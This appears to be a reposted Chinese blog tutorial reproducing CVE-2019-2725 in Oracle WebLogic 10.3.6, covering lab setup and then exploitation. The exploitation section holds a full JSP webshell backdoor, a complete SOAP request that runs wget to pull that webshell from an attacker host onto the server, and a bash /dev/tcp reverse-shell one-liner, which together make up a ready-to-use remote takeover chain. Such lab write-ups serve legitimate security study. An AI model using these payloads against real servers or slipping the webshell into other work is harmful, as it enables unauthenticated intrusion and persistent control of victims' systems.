CVE-2019-2725复现(从环境搭建到getshell)
文章目錄
- 一、前言
- 二、漏洞描述
- 三、影響版本
- 四、測(cè)試環(huán)境準(zhǔn)備
- 1、Ubuntu
- 2、Windows
- 3、jdk7
- 4、weblogic10.3.6
- 五、環(huán)境搭建
- 1、安裝jdk7
- (1)將下載好的jdk文件傳到ubuntu中
- (2)在/usr/lib目錄中創(chuàng)建一個(gè)jvm目錄,將該jdk文件移動(dòng)其中
- (3)將jdk-7u80-linux-x64.tar.gz進(jìn)行解壓
- (4)將jdk1.7.0_80目錄重命名為jdk
- (5)修改.bashrc配置文件
- (6)reboot重啟ubuntu
- (7)查看java版本
- 2、安裝weblogic
- (1)移動(dòng)wls1036_generic.jar
- (2)執(zhí)行安裝命令,具體過程如下
- (2)安裝完成后,執(zhí)行domain域
- (3)配置過程
- (4)啟動(dòng)weblogic
- (5)訪問weblogic服務(wù)
- (6)主機(jī)訪問虛擬機(jī)
- 六、漏洞驗(yàn)證
- 1、payoad1
- 2、payload2
- 七、漏洞利用
- 1、環(huán)境
- (1)有web服務(wù)的攻擊機(jī)或vps
- (2)jsp一句話木馬
- 2、使用burp寫入jsp木馬
- (1)訪問http://172.16.20.157:7001/_async/AsyncResponseService并抓包
- (2)將GET改為POST,隨后請(qǐng)求包部分除了第一行第二行保留,其他全部替換如下payload
- (3)使用payload上傳jsp木馬
- (4)訪問靶機(jī)的1.jsp
- (5)蟻劍連接
- 3、反彈shell
- (1)payload
- (2)利用詳情
- 八、漏洞修復(fù)
一、前言
這一篇文章是我今天復(fù)現(xiàn)CVE-2019-2725時(shí)之后總結(jié)的一次完整的復(fù)現(xiàn)流程(從環(huán)境搭建到getshell),算是比較全的復(fù)現(xiàn)過程了,供大家參考,如有不足,歡迎指正。
二、漏洞描述
Oracle WebLogic Server反序列化漏洞 ,該遠(yuǎn)程代碼執(zhí)行漏洞無需身份驗(yàn)證即可遠(yuǎn)程利用,即無需用戶名和密碼即可通過網(wǎng)絡(luò)利用。
三、影響版本
Oracle WebLogic Server,版本 10.3.6.0、12.1.3.0
四、測(cè)試環(huán)境準(zhǔn)備
注:我這里主要介紹linux下weblogic的搭建
1、Ubuntu
我用的ubuntu16,大家隨意
2、Windows
我用的windows10,大家隨意
3、jdk7
這里建議使用jdk7,我用的是jdk-7u80-linux-x64,當(dāng)然,不一定非要是7u80,其他也可以
下載地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html#jdk-7u80-oth-JPR
如果大家無法下載,我傳到了百度云,大家可自行去下載,地址:
鏈接:https://pan.baidu.com/s/1A4o5Z6uU-qymo9kp8oxeGQ
提取碼:m71r
4、weblogic10.3.6
這里我使用的是weblogic10.3.6
下載地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
百度云地址:
鏈接:https://pan.baidu.com/s/1heHPX7ihWrlHzYtUWgKvOA
提取碼:tatl
五、環(huán)境搭建
ubuntu搭建就不細(xì)說了,我們接下來開始搭建weblogic服務(wù)
1、安裝jdk7
(1)將下載好的jdk文件傳到ubuntu中
(2)在/usr/lib目錄中創(chuàng)建一個(gè)jvm目錄,將該jdk文件移動(dòng)其中
cd /usr/lib/ sudo mkdir jvm sudo mv /home/n1v1r/桌面/jdk-7u80-linux-x64.tar.gz jvm/ cd jvm/
(3)將jdk-7u80-linux-x64.tar.gz進(jìn)行解壓
sudo tar zxf jdk-7u80-linux-x64.tar.gz(4)將jdk1.7.0_80目錄重命名為jdk
注:重命名隨意,只不過需要注意的是.bashrc文件中/usr/lib/jvm/后面的名稱也需要跟著改變
(5)修改.bashrc配置文件
sudo vim ~/.bashrc可能出現(xiàn)的錯(cuò)誤:如果無法使用vim,使用sudo apt-get install vim進(jìn)行安裝
注:有人在使用以上安裝命令時(shí)也可能會(huì)出現(xiàn)如下所示錯(cuò)誤
E: 無法獲得鎖 /var/lib/dpkg/lock - open (11: 資源暫時(shí)不可用) E: 無法鎖定管理目錄(/var/lib/dpkg/),是否有其他進(jìn)程正占用它?解決方法,輸入如下命令:
sudo rm /var/cache/apt/archives/lock sudo rm /var/lib/dpkg/lock打開文件后,我們?cè)趦?nèi)容的末尾追加如下內(nèi)容:
export JAVA_HOME=/usr/lib/jvm/jdk export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:$PATH(6)reboot重啟ubuntu
(7)查看java版本
出現(xiàn)如下你安裝的指定版本,說明安裝成功
2、安裝weblogic
注:先完成第一步j(luò)dk的安裝再進(jìn)行這一步
(1)移動(dòng)wls1036_generic.jar
將下載好的wls1036_generic.jar移動(dòng)到ubuntu的用戶目錄下,我這里是n1v1r,如下所示
(2)執(zhí)行安裝命令,具體過程如下
我這里使用的是命令行安裝,如下所示:
java -jar wls1036_generic.jar -mode=console注:-mode=console表示使用命令行安裝,如果想要使用圖形化,使用如下命令即可,步驟是一樣的
java -jar wls1036_generic.jar
這里詳細(xì)介紹一下命令行安裝步驟
0x01:
0x02:
0x03:
0x04:
0x05:
0x06:
0x07:
0x08:
0x09:
0x10:出現(xiàn)下圖所示表示安裝成功
注:其實(shí)這里每一步都是下一步也可以
(2)安裝完成后,執(zhí)行domain域
0x01:進(jìn)入weblogic的安裝目錄,找到config.sh
例如我這里/home/n1v1r/Oracle/Middleware/wlserver_10.3/common/bin
輸入./config.sh,回車
(3)配置過程
(4)啟動(dòng)weblogic
進(jìn)入domain的安裝目錄,例如:
/home/nv1r/Oracle/Middleware/user_projects/domains/peak_domain
隨后./startWebLogic.sh
注:我這里的n1v1r和peak_domain要根據(jù)你們自己的設(shè)置進(jìn)行更改
(5)訪問weblogic服務(wù)
訪問:http://172.16.20.157:7001/console/
注:這里的ip可以是127.0.0.1或localhost
(6)主機(jī)訪問虛擬機(jī)
注:需要將ubuntu的防火墻關(guān)閉,且主機(jī)能ping通ubuntu,不代表ubuntu防火墻關(guān)閉了
#查看防火墻狀態(tài) sudo ufw status #關(guān)閉防火墻 sudo ufw disable #打開防火墻 sudo ufw enable
訪問http://172.16.20.157:7001/console
注:如果還是無法訪問且無法ping通,可參考這種解決方法:關(guān)于Vmware下NAT模式物理機(jī)無法ping通虛擬機(jī)但是可以上網(wǎng)的解決方法
六、漏洞驗(yàn)證
1、payoad1
_async/AsyncResponseService如果http://172.16.20.157:7001/_async/AsyncResponseService返回200則表示漏洞存在,如果返回404則表示漏洞不存在
2、payload2
_async如果http://172.16.20.157:7001/_async返回403則表示漏洞存在,如果返回404則表示漏洞不存在
七、漏洞利用
注:利用時(shí)ubuntu需要安裝wget命令
sudo apt-get install wget1、環(huán)境
(1)有web服務(wù)的攻擊機(jī)或vps
我這里使用本地環(huán)境,在本地使用phpstudy
(2)jsp一句話木馬
jsp.txt源碼,其中密碼是peak,可自己修改
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}} %> <%String cls = request.getParameter("peak");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);} %>2、使用burp寫入jsp木馬
(1)訪問http://172.16.20.157:7001/_async/AsyncResponseService并抓包
(2)將GET改為POST,隨后請(qǐng)求包部分除了第一行第二行保留,其他全部替換如下payload
POST /_async/AsyncResponseService HTTP/1.1 Host: 172.16.20.157:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 841 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>wget http://172.16.20.1/jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>注意:如果你不知道上傳到目標(biāo)哪個(gè)目錄中,可以使用如下payload,進(jìn)行查看
/_async/AsyncResponseService?info如下所示:
(3)使用payload上傳jsp木馬
(4)訪問靶機(jī)的1.jsp
http://172.16.20.157:7001/_async/1.jsp
訪問成功即可使用蟻劍進(jìn)行連接
(5)蟻劍連接
3、反彈shell
(1)payload
bash -i >& /dev/tcp/target ip/target port 0>&1 這里>&需要轉(zhuǎn)換,否則無法利用 例: bash -i >& /dev/tcp/172.16.20.132/9999 0>&1(2)利用詳情
注:如果對(duì)反彈shell不太了解的可以參考:nc——制作后門連接與反彈shell連接的使用
八、漏洞修復(fù)
官方補(bǔ)丁:https://www.oracle.com/security-alerts/alert-cve-2019-2725.html
注:
JDK搭建參考
weblogic搭建參考
總結(jié)
以上是生活随笔為你收集整理的CVE-2019-2725复现(从环境搭建到getshell)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 阳光惠生活怎么激活卡片(阳光高清图片素材
- 下一篇: CTF加解密/编码常用在线网址